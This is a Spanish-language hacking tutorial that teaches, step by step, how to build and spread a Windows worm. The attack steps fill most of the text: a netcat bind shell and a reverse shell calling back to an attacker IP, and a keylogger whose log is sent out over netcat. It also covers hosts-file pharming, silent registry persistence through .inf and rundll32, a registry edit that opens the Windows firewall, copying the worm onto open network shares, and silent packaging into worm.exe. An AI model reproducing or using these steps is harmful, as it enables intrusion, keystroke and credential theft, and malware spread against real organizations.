Hacking withinnails pdfcompleto

http://hackstudio.net
nkt@hackstudio.net

------------------------------------------------------------------
HACKING WITHIN NAILS
“hackeando con las uñas”
Part 1. The Malware Plague
------------------------------------------------------------------

“... si “nos tocó hacerlo con las uñas”, pues !! afilémonos las
uñas !! ... !! que parezcan verdaderas garras !!! ...”

nkt

------------------------------------------------------------------
Intro.
------------------------------------------------------------------

Este documento presenta una perspectiva sobre diferentes técnicas
"aparentemente de bajo nivel técnico", con las cuales "cualquier
individuo inquieto" puede desarrollar estrategias efectivas de
ataques informáticos (con una alta capacidad de daño). Se pretende
detallar cómo, sin ser ingeniero, sin ser el "super-hacker", sin
ser el experto programador, ni nada por el estilo, una persona
hostil puede lograr excelentes resultados de intrusión en empresas
y organizaciones "típicas colombianas".

En esta ocasión se estudiará una recopilación de las principales
técnicas en el desarrollo “básico” de malware.

------------------------------------------------------------------
The malware background
Antecedentes.
------------------------------------------------------------------

Como toda aplicación o software (programa también será un término
usado en este contexto), se requiere principalmente de un archivo
para ejecutar el código malicioso. Sin embargo, existen
diferencias conceptuales reconocidas por los expertos en seguridad
informática que establecen una cierta clasificación del malware,
que define nuestro dominio de conocimiento. Estas diferencias, se
refieren al comportamiento del malware una vez este ataca un
sistema informático.

De acuerdo a un documento publicado en la CSIRT de Colombia (el
equipo de respuesta a incidentes de seguridad informática) en
http://www.udistrital.edu.co/comunidad/grupos/arquisoft/colcsirt/D
ocumentos.html (escrito por Juan Carlos Valbuena), una taxonomía
(clasificación) para especificar malware debe cumplir ciertas
características de la forma más óptima posible:

nkt@hackstudio.net

[1] La taxonomía debe ser completa. Es decir todos los elementos
que se clasifican deben ser abordados dentro de alguna de las
categorías de la taxonomía.

[2] La taxonomía debe ser mutuamente excluyente. Es decir, el
elemento que se clasifica debe pertenecer a una y solo a una
categoría. No puede ser dos al mismo tiempo, aunque en el mundo
real se habla de virus con características de gusanos o gusanos
con características de troyano, vamos hacer la diferenciación de
este tipo de aplicaciones de acuerdo a una clasificación
consistente con el dominio del conocimiento en el área de malware.

[3] Repetible. Es decir, que al aplicar las mismas reglas
taxonómicas sobre un conjunto de datos, los resultados deben ser
los mismos independientemente del número de veces que se analice
el problema. Si la clasificación taxonómica es consistente, no
debería haber variación a aplicar las mismas reglas de
clasificación en las mismas condiciones de evaluación.

Con lo mencionado anteriormente se trabajará sobre el malware
reconocido por las autoridades en seguridad informática (NTC-
ISO/IEC17799). Se especificará su característica principal y la
diferencia de las demás categorías taxonómicas.

[1] Virus informáticos. Se reproducen infectando otros archivos
(por lo general ejecutables, macros, multimedia, etc.)

[2] Gusanos informáticos. Se reproducen usando servicios de
Internet (p.e. el correo electrónico).

[3] Troyanos. Aplicaciones que aparentan hacer una cosa, pero
hacen otra.

[4] Puertas Traseras. Permiten conexiones externas de posibles
intrusos.

[5] Spam. Correos de circulación masiva, generalmente con el fin
de recolectar listas de correos para la posterior distribución del
verdadero malware (p.e. un virus o un gusano).

[6] Spyware. Software espía que monitorea las actividades de los
usuarios (p.e. keyloggers, etc)

[7] Rootkits. Realizan varias actividades sospechosas, pero su
principal objetivo es ocultarse de los métodos de detección.

[8] Phishing. Correos de circulación masiva que contienen páginas
de acceso suplantadas para el fraude informático.

nkt@hackstudio.net

[9] Dialers. Aplicaciones que sirven para el marcado internacional
con el fin de ofrecer “servicios gratuitos” (sobre todo
pornografía), pero que “realizan la respectiva tarificación” a la
empresa ISP. Obviamente el ISP, le tarificará al usuario como
llamada la conexión realizada.

[10] adware. Software con contenido comercial por lo general de
carácter publicitario.

Existen obviamente una serie de características comunes y
compartidas entre las diferentes categorías, y de hecho, el
proyecto de malware a desarrollar incluirá varias de las técnicas
incluidos para algunas de las categorías presentadas
anteriormente.

------------------------------------------------------------------
Malware hacking
Principios de diseño
------------------------------------------------------------------

Este proyecto de desarrollo de malware incluirá los siguientes
targets.

[1] payload o carga destructiva. Analizaremos el uso básico de un
backdoor para establecer una conexión en un puerto de conexión
tipo TCP. Por otra parte analizaremos el uso de un spyware para
monitorear las actividades del usuario víctima, tipo keylogger.

[2] bootLoader. violación del registro de configuraciones de
windows con el fin de garantizar el arranque del malware.

[3] mecanismo de distribución. De tal forma que el malware se
disperse al interior de una infraestructura de red tipo
LAN/Ethernet

[4] evasión “básica” de firewall. Con el fin de evitar la
detección al ejecutar comportamientos sospechosos

[5] empaquetamiento y scripting. Creación de ejecutables y
configuración de scripts de funcionamiento

[6] troyanización. Cuyo objetivo es “involucrar a la víctima” en
el proceso de intrusión

P.D. existen un abanico de técnicas alternativas (y de alto nivel
técnico) como p.e. buffer-heap-stack overflowing, shellcoding,
process jumping, antivirus attack, bugs exploiting, dll’s and
exe’s injection, etc. Estas técnicas se conocen ya como el arte de
la explotación y la intrusión (“the art of intrusion and

nkt@hackstudio.net

exploitation”.) y requieren una alta capacidad de programación. El
propósito de este proyecto es “lograr los mismos resultados (o
similares) sin tener que acudir a la complejidad que estas
técnicas requieren”. En pocas palabras vamos a “hackear con las
uñas” (hacking within nails).

------------------------------------------------------------------
Malware Development
Desarrollo
------------------------------------------------------------------

[1] payload.

Consiste en la aplicación que realmente hace daño al sistema. Esto
se conoce como carga destructiva. En primera instancia
utilizaremos un backdoor. En realidad el backdoor (puerta trasera)
solo consiste en un ejecutable que abra un puerto en estado de
escucha (Listening) y nos permita establecer una conexión externa.
Existen varios muy reconocidos, tipo bo, netbus, etc. Todos ellos
requieren fase de instalación y configuración, por lo que no nos
permite incluirlos de forma sencilla en la fase de scripting.

Se utilizará en su lugar el reconocido netcat (a.k.a. nc, la
navaja suiza), una de las mejores utilidades para conexiones
TCP/IP. El comando de ejecución que nos permite ejecutar nc modo
de escucha/Listening (-L) para lanzar (-e cmd.exe) una consola de
comandos al conectarnos al puerto (-p 666) establecido es
sencillo:

> nc –L –d –p 666 –e cmd.exe

la opción –d le dice a nc que corra de forma oculta (sin levantar
una consola).

Si verificamos el estado de red del sistema a través de la consola
(basta con ejecutar el comando netstat), podemos verificar que se
abre el puerto establecido para escuchar por conexiones entrantes.

Por el momento, como payload, es suficiente. Sin embargo, el
problema actual es que desde hace un par de años, algunos

nkt@hackstudio.net

antivirus han decidido incluir nc en sus bases de firmas. Esto
significa que es posible que en algunos hosts víctimas el
antivirus emita una alarma.

Alternativas:

[1] se podría tomar el código fuente de netcat y recompilarlo
tratando de cambiar algunas opciones con el fin de que la firma no
sea reconocida por el antivirus.

[2] se podría utilizar un wrapper especial que encripte el código
binario de netcat con el fin de que el antivirus no pueda realizar
su análisis de forma correcta.

[3] la mejor. Desarrolla tu propio código. Nuestro amigo e
investigador en seguridad, Kadete (a.k.a. Juan E. Pecantet) ha
desarrollado una aplicación (“LuzyFer”), para conexiones tcp que
abre un socket a la escucha en el puerto 4444, establece
conexiones con un cliente, recibe solicitudes y procesa comandos.
El código útil de esta aplicación no supera las 50 líneas de
código en lenguaje c, con la ventaja de que por ser “código
limpio” (código que no ha sido testeado anteriormente por los
sistemas de antivirus convencionales) no forma parte de la mayoría
de las bases de firmas víricas. Felicitaciones KDT !!!.

P.D. Kadete reside en Argentina, Se puede contactar en
kadete.unix@gmail.com, trabaja para un grupo de investigación en
hacking. A continuación se presenta un preview del sencillo código
con el que se puede obtener muy buenos resultados en el desarrollo
de un backdoor (LuzyFer).

nkt@hackstudio.net

Cualquiera de las aplicaciones anteriores simplemente cumplen con
las funciones de backdoor cuyo objetivo es esencialmente la
ejecución de comandos de shell en la máquina víctima.

Ahora, talvez sería interesante añadir al payload del malware
algún tipo de función espía (spyware). Para ello incluiremos el
uso de un keylogger desarrollado por el grupo de investigación en
seguridad informática de la Universidad del Cauca
(http://gseguridad.unicauca.edu.co). El keylogger, desarrollado
por Rony Arana (investigador y desarrollador) y Siler Amador
Donado (coordinador del grupo de investigación) genera un archivo
de texto plano que es enviado a una cuenta de correo. También es
“código limpio”, por lo cual no es detectado por los antivirus. El
inconveniente es que el keylogger está configurado para enviar el
archivo de texto con los datos de las pulsaciones de tecla a una
cuenta de correo electrónico que se pasa por argumento en la línea
de comandos. A continuación se presenta un overview del código
fuente del keylogger.

El servidor de correo que permite el reenvío del correo debe estar
con su configuración por defecto (que efectivamente es defectuosa)
para permitir el relay. Así que para el uso dentro de nuestro
proyecto de malware no utilizaremos la función de envío al correo
electrónico. Por el contrario, utilizaremos el mismo netcat para
que al recibir una conexión, me permita descargar el archivo.
Poner a funcionar el keylogger es sencillo.

> keylogger intruso@devilhome.com

Esta función genera un Archivo que se llama lgPh.log, donde se
almacenan las pulsaciones de teclado. Así, lo único que se
requeriría sería cargar archivo de datos en un flujo para ser
transmitido por netcat. Esto es sencillo:

> nc –L –p 665 < lgPh.log

Hasta este momento está completa la carga destructiva del malware.
Se pueden hacer muchas más cosas. Las opciones son innumerables y
ya dependen de la capacidad y creatividad del intruso. Una de las
más atractivas (y que se ha impuesto de moda), es la técnica
llamada pharming, en la cual se suplantan direcciones IP por URL's
validos en el archivo de configuración de hosts (a.k.a.

nkt@hackstudio.net

%SystemRoot%system32driversetchosts, en el caso de esta
máquina donde se está editando este documento:
C:WINNTSystem32driversetchosts) para la navegación web. Esto
es de lo más sencillo de realizar, ya que simplemente se requiere
reemplazar un archivo de texto. Por mostrar un ejemplo, en el
siguiente preview asignamos una dirección de la máquina atacante
(192.168.1.4) que tiene un servidor web con una réplica de la
página suplantada.

El usuario ingenuo, simplemente introduce sus datos en los
formularios, el atacante guarda los datos recolectados en
variables en su “base de datos” y redirecciona a la verdadera
página de error de la entidad suplantada. Listo. El usuario
simplemente ha de creer que introdujo mal los datos en sus
formularios. Este es el famoso phishing (con muchos adeptos por
estos días). Por efectos pedagógicos del desarrollo de este
proyecto, se cambiará el nombre de los ejecutables así: nc.exe se
reemplazará por win32.exe, y keylogger.exe se reemplazará por
run32dl.exe (solo por utilizar un conjunto de nombres que
dificulten el proceso de identificación del malware).

[2] bootLoader. violación del registro de configuraciones
(“Hacking Registry”).

Existen varias formas de establecer un punto de arranque para
cualquier malware. Estos puntos de arranque se conocen como ASEP’s
(Autostart Extensibility Points) y se presenta una buena
referencia en:

http://www.pestpatrol.com/pestinfo/autostartingpests.asp.

A continuación se referencian algunas:

[-] Directorio de Inicio

%ALLUSERSPROFILE%Menú InicioProgramasInicio

Para una instalación típica en español, un ejemplo podría ser:

C:Documents and SettingsAll UsersMenú InicioProgramasInicio

nkt@hackstudio.net

[-] Entradas en el archivo win.ini (c:windowswin.ini)
La sintaxis de las entradas es del tipo:

------------------------------------------------------------------
[windows]
run=c:windowssystem32malware.exe
load=anything
------------------------------------------------------------------

[-] Entradas en el archivo system.ini (c:windowssystem.ini)
La sintaxis de las entradas es del tipo:

------------------------------------------------------------------
[boot]
shell=explorer.exe c:windowssystem32malware.exe
------------------------------------------------------------------

[-] “Güindous” Registry

El registro es el área de campo de trabajo de la mayoría del
malware en la actualidad. Se utilizará en este proyecto para
garantizar el arranque del malware junto con el sistema operativo.
Las claves principales para realizar el boot del malware son (ver
ZELTSER, Lenny. Malware: Fighting malicious code. 2003):

------------------------------------------------------------------
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRunServicesOnce
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRunServices
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRunOnce
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRunOnceEx
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionWinlogonUserinit
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionShellServiceObjectDelayLoad
HKEY_LOCAL_MACHINESOFTWAREPoliciesMicrosoftWindowsSystemScripts
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionPoliciesExplorerRun
HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionRunServicesOnce
HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionRunServices
HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionRunOnce
HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionRun
HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionRunOnceEx
HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionPoliciesExplorerRun
HKEY_CURRENT_USERSOFTWAREMicrosoftWindows NTCurrentVersionWindowsRun
HKEY_CURRENT_USERSOFTWAREMicrosoftWindows NTCurrentVersionWindowsLoad
HKEY_CURRENT_USERSOFTWAREPoliciesMicrosoftWindowsSystemScripts
HKEY_CLASSES_ROOTExefilesShellOpenCommand
------------------------------------------------------------------

Existen otro tipo de claves que permiten forzar la ejecución de un
archivo dada una solicitud de ejecución de una aplicación.

------------------------------------------------------------------
[HKEY_CLASSES_ROOTexefileshellopencommand] =""%1" %*"
[HKEY_CLASSES_ROOTcomfileshellopencommand] =""%1" %*"
[HKEY_CLASSES_ROOTbatfileshellopencommand] =""%1" %*"

nkt@hackstudio.net

[HKEY_CLASSES_ROOThtafileShellOpenCommand] =""%1" %*"
[HKEY_CLASSES_ROOTpiffileshellopencommand] =""%1" %*"
[HKEY_LOCAL_MACHINESoftwareCLASSESbatfileshellopencommand] =""%1" %*"
[HKEY_LOCAL_MACHINESoftwareCLASSEScomfileshellopencommand] =""%1" %*"
[HKEY_LOCAL_MACHINESoftwareCLASSESexefileshellopencommand] =""%1" %*"
[HKEY_LOCAL_MACHINESoftwareCLASSEShtafileShellOpenCommand] =""%1" %*"
[HKEY_LOCAL_MACHINESoftwareCLASSESpiffileshellopencommand] =""%1" %*"
------------------------------------------------------------------

Un ejemplo “del uso exagerado” de este tipo de claves es el
malware “soundmix.exe”, el cual ante cada solicitud de ejecución
de “cualquier cosa” volvía y cargaba su propio ejecutable. Existen
otras claves específicas, las cuales (como ya se mencionó
anteriormente), pueden ser consultadas en:

http://www.pestpatrol.com/pestinfo/autostartingpests.asp.

Otra forma (algo más ortodoxa, aunque menos visible), es crear el
troyano llamado explorer.exe y ubicarlo en el disco C:, lo cual
hace que se cargue automáticamente el troyano (que implícitamente
puede llamar al verdadero explorer.exe en
C:windowsexplorer.exe).

Existen muchas diversas formas de establecer un punto de arranque
del malware, de tal manera que en fin, esto dependerá en alto
grado de la capacidad/creatividad del desarrollador del malware.
P.e. basta con crear un troyano que al ejecutarse, revise si está
activo el iexplorer.exe. De ser así, que lo baje (elimine el
proceso), que copie una versión del iexplorer.exe “troyanizada” y
vuelva a levantar el proceso. De esta manera, cada vez que el
usuario decida “navegar en internet”, ejecutará implícitamente el
troyano (que contiene el payload), sin tener que utilizar ninguna
de las estrategias de bootLoader desde el registro de
configuraciones de windows. De cualquier forma, por ser este un
proyecto didáctico y para realizar la violación del registro, se
utilizará un valor en una clave típica, con el fin de tratar de
simular el comportamiento típico de la mayoría de malware. La
clave es run en HKLM.
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun

nkt@hackstudio.net

Escribiremos a continuación el script necesario para instalar un
valor de inicio del malware en dicha clave. Existen varias formas
de realizar este script, aunque por lo general el uso de comandos
tipo “reg” despliegan un aviso solicitando al usuario de la
máquina la confirmación de la instalación en el registro. En lugar
de esto, podemos hacer un script en un archivo .inf para que se
instale de forma silenciosa sin pedir la confirmación. A
continuación se presenta el archivo [install.inf]

------------------------------------------------------------------
[Version]
Signature="$Chicago$"
Provider=nkt

[DefaultInstall]
AddReg=nkt

[nkt]
HKLM, SoftwareMicrosoftWindowsCurrentVersionRun,,,win32.exe -L -d -p
666 -e cmd.exe
------------------------------------------------------------------

En la página oficial de microsoft existe una guía completa para
desarrollar archivos de instalación/desinstalación bajo directivas
de archivos .inf. Ahora, el problema consiste en que para instalar
un archivo .inf, desde el explorador de windows se necesita dar
click derecho y seleccionar la opción instalar en el menú
contextual. Obviamente que no podemos esperar que sea un usuario
que haga esto de forma voluntaria. Existe un comando que permite
realizar esta instalación de forma silenciosa. El script se
describe a continuación (archivo [install.bat]):

------------------------------------------------------------------
rundll32 setupapi,InstallHinfSection DefaultInstall 132 .install.inf
------------------------------------------------------------------

Una vez que se ejecute el anterior script (lo cual si puede
automatizarse de forma silenciosa), se instala el script contenido
en el archivo .inf instalado (install.inf).

Lo descrito anteriormente es suficiente para llevar a cabo la
operación de la violación del registro de configuraciones. Como ya
se mencionó, existen innumerables puntos de carga del malware con
sus claves específicas de registro que pueden aprovecharse de la
misma manera explicada anteriormente. Un script para instalar la
clave (archivo .inf) y un script para realizar la instalación de
forma silenciosa.

nkt@hackstudio.net

[3] mecanismo de distribución.

Existen varias alternativas. Una de las más técnicas, es la
detección de un bug o fallo natural del sistema (tipo lsass, que
dió el canal de difusión al famoso sasser, un gusano que
definitivamente dejó su marca en la historia). Por lo general, una
actividad típica de un gusano, es la búsqueda o exploración de la
red en búsqueda de este tipo de fallas, y al encontrar un conjunto
de equipos vulnerables en una red, proceder a ejecutar un exploit
que instale el gusano en cada equipo vulnerable. El nivel técnico
requerido desde el punto de vista de la programación es alto. Otra
técnica bastante utilizada, es la búsqueda de direcciones de
correo electrónico. Esto puede hacerse atacando directamente las
libretas de direcciones de aplicaciones como outlook (de hecho,
este tipo de búsquedas es típica). También se requieren
aplicaciones especiales que realicen esta tare de forma
específica. Otra forma, es bombardear directamente el servidor de
correo electrónico de la organización en busca de conjuntos de
usuarios. p.e. Cuentas tipo allusers@company.com, que al recibir
un correo, lo redireccionan a todas las cuentas de correo de la
organización. Todas estas técnicas mencionadas anteriormente
pretenden lograr un mecanismo de distribución del malware, y son
frecuentemente utilizadas y requieren una gran capacidad de
programación.

En la propuesta de este proyecto procederemos a utilizar un modelo
mucho más sencillo para la distribución de un malware al interior
de una infraestructura LAN/Ethernet. Es el abuso de los recursos
compartidos en una red típica ms-windows. Vale la pena mencionar
que en muchas redes corporativas, por necesidad de acceso a
archivos y falta de conciencia en el área de seguridad de la
información, suele mantenerse de forma indefinida e irreglamentada
un conjunto de recursos compartidos sin ningún tipo de
restricción. Esto también es altamente explotable, y generalmente
es una de las acciones típicas de un gusano. En este proyecto se
aprovechará la característica típica de redes windows XP en la
cual existe una carpeta típica para compartir recursos
(“Documentos Compartidos”). La configuración típica también es el
acceso a dicha carpeta con privilegios de lectura/escritura y sin
ningún tipo de autenticación. Siendo así, no resta, sino
“scriptar” nuestras instrucciones para que se copie el cuerpo del
malware en las carpetas que encuentre compartidas “de forma
vulnerable” (en este caso, la típica carpeta que parece que no
puede faltar en ningún equipo ... Musica, ¿raro no??). El código
del script se incluirá en el archivo [dist.bat]

------------------------------------------------------------------
FOR /F “tokens=1” %i IN (dirs.txt) do xcopy malware.exe %iMusica 2>nul
------------------------------------------------------------------

nkt@hackstudio.net

donde debe existir un archivo [dirs.txt] que contenga una lista de
direcciones IP a testear.

------------------------------------------------------------------
192.168.1.2
192.168.1.3
192.168.1.4
192.168.1.5
192.168.1.6
192.168.1.7
192.168.1.8
192.168.1.9
...
------------------------------------------------------------------

Obviamente, en este caso, el desarrollador del malware, tiene
conocimiento de el rango de direcciones IP que desea infectar; sin
embargo esto no omite que un script más elaborado, realice las
búsquedas de direcciones IP automáticamente. Lo típico sería
utilizar el mismo bucle anterior y en lugar del xcopy, utilizar
comandos net, p.e.

------------------------------------------------------------------
> net use * IPVictimasIPC$
------------------------------------------------------------------

Por otra parte, herramientas especializadas en exploración de
redes como netviewx (de Jesper Lauritsen,
http://www.ibt.ku.dk/jesper/NTtools), nete (de Sir Dystic de “The
Cult of Dead Cow”, a.k.a. “El culto de la vaca muerta”, famoso
grupo en la historia del hacking), enum
(http://www.bindview.com/support/Razor/Utilities) y NAT (parte del
antiguo Legion), permiten realizar scripts más complejos que
exploran máquinas a nivel de red para localizar recursos
compartidos, listas de usuarios, etc. Por “pedagogía” en este
proyecto nos limitaremos al script “primitivo” visto anteriormente
que cumple con la funcionalidad que requerimos.

[4] evasión “básica” de firewall.

En este punto, ya hemos obtenido prácticamente toda la
funcionalidad de nuestro proyecto de malware. Ahora, “necesitamos
proteger” nuestra actividad intrusiva. El firewall talvez sea la
principal aplicación a evitar (aparte de los IDS, que para el
prototipo habitual de una infraestructura LAN en nuestras
empresas, suele ser considerado “una exageración” en costos y
esfuerzos ... ¿de dónde sale que todos los ataques informáticos
solo le suceden a microsoft, el FBI, la NASA y el pentágono??).
Bien, en un escenario típico a nivel de intranet, generalmente

nkt@hackstudio.net

“nos conformamos” con ver el icono de “firewall activo” en nuestra
systray. Se podría utilizar aplicaciones tipo “microchip” (un
ejecutable que “lastimosamente” ya es detectado por antivirus como
kaspersky) que al ejecutarse baja automáticamente el firewall de
windows.

Sin embargo (y como cosa rara en los entornos ms-win), la
configuración del firewall también está delegada al registro de
configuraciones.

Esto implica que “basta un simple script” para modificar la
configuración del firewall y evitar que aparezca el aviso de
bloqueo de conexión. El script es sencillo y se presenta a
continuación (archivo [fw.inf]):

------------------------------------------------------------------
[Version]
Signature="$Chicago$"
Provider=nkt

[DefaultInstall]
AddReg=fw

[fw]
HKLM,
SYSTEMControlSet001ServicesSharedAccessParametersFirewallPolicyStan
dardProfileGloballyOpenPortsList,666:TCP,,666:TCP:*:Enabled:win32.exe
------------------------------------------------------------------

Obviamente, también para instalar este archivo [fw.inf] de forma
silenciosa, requerimos un archivo por lotes [fw.bat]:

------------------------------------------------------------------
rundll32 setupapi,InstallHinfSection DefaultInstall 132 .fw.inf
------------------------------------------------------------------

nkt@hackstudio.net

A nivel de intranet ... !!! ESO ES TODO !!!. al violar el
registro, le decimos que la aplicación win32.exe (nuestro
backdoor) va a abrir el puerto (666) y que simplemente el firewall
de windows “debe quedarse callado”. Solo basta prestarle atención
a que este script debe ejecutarse antes de intentar poner el
backdoor en escucha por conexiones.

Para complementar este proyecto, en caso de requerir aprovechar la
funcionalidad de nuestro malware de forma externa a la intranet,
se necesitaría evadir el firewall de red (generalmente un firewall
corporativo que realiza funciones NAT). Basta con utilizar un
puerto común que “no suele ser filtrado”, p.e. El puerto 53,
utilizado para consultad DNS, que se requiere para hacer la
resolución de nombres en las consultas de internet. Entonces,
sencillamente podríamos proceder a hacer una operación “delicada”;
se conoce como callback. En lugar de ser la máquina víctima la que
permanece en estado Listening (-L para netcat), ponemos en escucha
la máquina atacante, y configuramos nuestro backdoor para que sea
la víctima la que se conecte (y nos envíe una “hermosa consola”) a
la máquina atacante. Se requeriría entonces que dispongamos de una
dirección IP real, pues el backdoor necesita “saber con quién se
conecta”. Si la conexión se establece a través de un puerto no
filtrado por el firewall de red, pues, sencillamente !!! YA
ESTARÍA TODO HECHO !!!!.

A continuación se muestran los scripts necesarios para realizar un
callback desde nuestro backdoor (tomaremos como máquina atacante
la 192.168.1.4, y en una máquina virtual vmware, emularemos la
máquina víctima con IP 192.168.1.9).

En la máquina atacante:

------------------------------------------------------------------
> nc -L -p 666 -v
------------------------------------------------------------------

nkt@hackstudio.net

observemos el preview

En la máquina víctima, el backdoor debe estar configurado para
conectarse con el puerto disponible en la máquina atacante (en el
ejemplo se usa el 666, aunque ya se mencionó que para efectos de
realizar la evasión de firewall, debería utilizarse un puerto no
filtrado, p.e. 53 [dns], 80 [http], etc.).

El script requerido para hacer el callback desde el backdoor es:

------------------------------------------------------------------
> nc -d IPAtacante puerto -e cmd.exe
------------------------------------------------------------------

En este caso sería:

------------------------------------------------------------------
> nc -d 192.168.1.4 666 -e cmd.exe
------------------------------------------------------------------

Observemos el preview, donde primero indagamos la dirección IP de
la víctima (solo por verificación), y le pedimos a nuestro querido
netcat que por favor “me mande una consolita a la dirección del
atacante en el puerto donde el atacante está esperando que yo me
conecte).

nkt@hackstudio.net

Ahora, en la máquina atacante se puede observar como se establece
la conexión con una “entrada” en la consola de la máquina víctima.

Donde podemos observar “en consola”, que la dirección original
correspondía a la máquina atacante, al recibir una conexión se

nkt@hackstudio.net

lanza la consola desde la víctima, y al volver a revisar la
dirección IP ... !! estamos en la máquina de la víctima !!!. Y
podés ejecutar desde ahí “lo que quieras en la víctima”

Lo más importante de los ataques por callbacks: es el alcance de
direcciones no enrutables por ser internas (en el dominio de la
intranet) y estar “cubiertas” por el firewall. Sin embargo, en
este punto es importante tener en cuenta qué tipo de ataque es el
que se realizará. ¿querés controlar la máquinas de tu red desde el
interior de la intranet??, basta con el backdoor en estado de
escucha. No necesitas el callback. ¿querés controlar las máquinas
desde fuera de la intranet??, si tenés una máquina con IP estática
externa, solo te falta configurar bien tus backdoors para que
realicen un callback ... y Listo !!! no más temores a los
firewalls ;P

¿presenta algún problema las conexiones por callbacks??. Para un
malware que se distribuye en una red: SI. No sería apropiado que
todos los backdoors intenten conectarse y mandar consolas al único
puerto en el cual la máquina del atacante está esperando
conectarse con sus víctimas. Así que es de prestarle atención a:
1. configurar los backdoors para que se conecten a distintos
puertos abiertos en la máquina atacante, 2. abrir varios puertos
en escucha en la máquina atacante. De hecho, si el malware está
muy distribuido, el ataque puede salir “contraproducente” ...
muchos backdoors tratando de conectarse con tu máquina te pueden
ocasionar una inesperada denegación de servicio. En verdad se
debería refinar la especialización de este tipo de ataques (ya
habrá oportunidad en otra publicación, je! ...).

P.D. No olvidar que aunque en el callback se utilizó directamente
netcat, en el proyecto del malware, se cambió el nombre del
ejecutable por win32.exe

[5] empaquetamiento y scripting.

La funcionalidad de nuestro proyecto de malware ya está completa.
Sin embargo, en este momento solo tenemos un “reguero de scripts”.
Necesitamos empaquetar todo de tal forma que baste con un click de
un usuario desprevenido o ignorante o ambicioso, etc. (cualquier
actitud que atente contra la protección de la información), pues
en últimas, las mas grandes vulnerabilidades de seguridad
informática se encuentran en la mente de los usuarios.

Realizaremos a continuación el empaquetamiento de todos nuestros
scripts. Ni siquiera utilizaremos una “super-utilidad”. Basta con
ejecutar en windows la utilidad “iexpress”, o podemos acudir a
nuestro querido winrar. Cualquiera de los dos sirve. Por espacio
en este documento, mostraremos el funcionamiento tanto de iexpress

nkt@hackstudio.net

como de winrar de forma gráfica, y de forma textual se explicará
cual es el orden del empaquetamiento.

Podemos acceder a iexpress desde [inicio->ejecutar], tecleamos
iexpress. Debe desplegar la siguiente ventana (donde debe estar la
opción de crear un nuevo paquete extraible):

Seleccionamos la opción crear nuevo archivo de directivas de auto-
extracción. Luego, “Siguiente”

En la interfaz para seleccionar el propósito del paquete
seleccionamos “extraer archivos y ejecutar comandos de

nkt@hackstudio.net

instalación” (vamos a necesitar que desde ahí se ejecuten nuestros
scripts. “Siguiente”:

Le damos un título al proyecto (en este caso, empaquetaremos
nuestros scripts en un archivo que se llame worm.exe).
“Siguiente”:

Obviamente le decimos al paquete que no “promptee” al usuario con
avisos y notificaciones. “Siguiente” (¿que otra cosa esperaban??):

nkt@hackstudio.net

Obviamente que sería ridículo desplegar una licencia para la
instalación de un malware. “Siguiente”:

Seleccionamos todos los archivos que vamos a requerir. Esto
incluye tanto los ejecutables de nuestro payload (nc.exe que ahora
se llama win32.exe, el keylogger, etc.), además de los scripts que
hemos desarrollado (los scripts que realizan el bootLoader en el
registro, el script de distribución en carpetas compartidas, el
archivo que contiene la lista de direcciones IP, los scripts que
realizan la evasión del firewall de windows, y todo lo que puedas
necesitar ... ). Solo dale “Siguiente”:

nkt@hackstudio.net

En este punto es donde se debe tener cuidado. Debes seleccionar
los scripts para que se ejecuten antes o después del
desempaquetamiento. Como se puede notar en el preview, puede
seleccionar tanto scripts dentro del paquete, como cualquier
comando que desees que se ejecute. “Siguiente”:

Obviamente seleccionamos la opción de desempaquetamiento oculto y
como de costumbre; “Siguiente”:

nkt@hackstudio.net

Que no despliegue ningún tipo de mensaje (obvio). Siguiente:

“Bautizamos” el paquete (con extensión .exe), y le decimos que
Oculte el proceso de desempaquetamiento (nada de animaciones al
usuario). “Siguiente”:

nkt@hackstudio.net

Seleccionamos la opción de no rebootear el sistema (en verdad,
cualquier reinicio, ya se convierte en una actividad bastante
sospechosa). “Siguiente”:

Ya que el desarrollo de malware es “altamente adictivo”, es
probable que quieras guardar el proyecto para volver a
empaquetarlo en momentos posteriores, o realizar mejoras. Lo
recomendable es salvar elproyecto en un archivo .SED. “Doble
Siguiente”:

nkt@hackstudio.net

Si todo el proceso de empaquetamiento salió bien, no debe
notificar ningún tipo de error (Done!).

Si revisas en el explorador, tienen que haberse generado tanto el
paquete worm.exe como el archivo del proceso de empaquetamiento
worm.SED. Y LISTO !!!, al dar doble click en el ejecutable, se

nkt@hackstudio.net

extraen los archivos en algunas carpetas temporales y se ejecutan
los scripts en el orden que hayas seleccionado. Como lo anterior
fue demostración, a continuación se narra como realizar el proceso
de empaquetamiento con los scripts que tenemos:

1. empaqueta en un ejecutable los scripts que contienen la
violación del registro tanto para la instalación del malware como
para la evasión del firewall.
2. empaqueta en otro ejecutable el script de distribución del
malware en carpetas compartidas.
3. empaqueta en otro ejecutable los dos anteriores ejecutables
diciéndole al paquete que primero se ejecute el paquete que
realiza la violación del registro y luego el paquete que realiza
la distribución. Ahora, tiene que haber quedado un solo ejecutable
que realiza las tres funciones: instalación del backdoor en el
registro, evasión del firewall y copia del cuerpo del malware en
las carpetas compartidas.
4. empaqueta en otro ejecutable los ejecutables que constituyen el
backdoor. En el caso de este proyecto, será win32.exe (netcat), y
el keylogger.
5. empaqueta en otro ejecutable, el ejecutable con todos los
scripts y el ejecutable que contiene el backdoor. En este momento
te tiene que quedar un solo ejecutable que contiene (y ejecuta)
inicialmente todos los scripts y además debe contener el payload
(en este caso, el backdoor).

Vale la pena recalcar que hasta ahora, el malware con todos los
archivos que hemos empaquetado, no pesa más de 90 Kb. Se ha
conseguido lo que nos hemos propuesto, pues ese valor lo hace un
archivo bastante liviano (y distribuible).

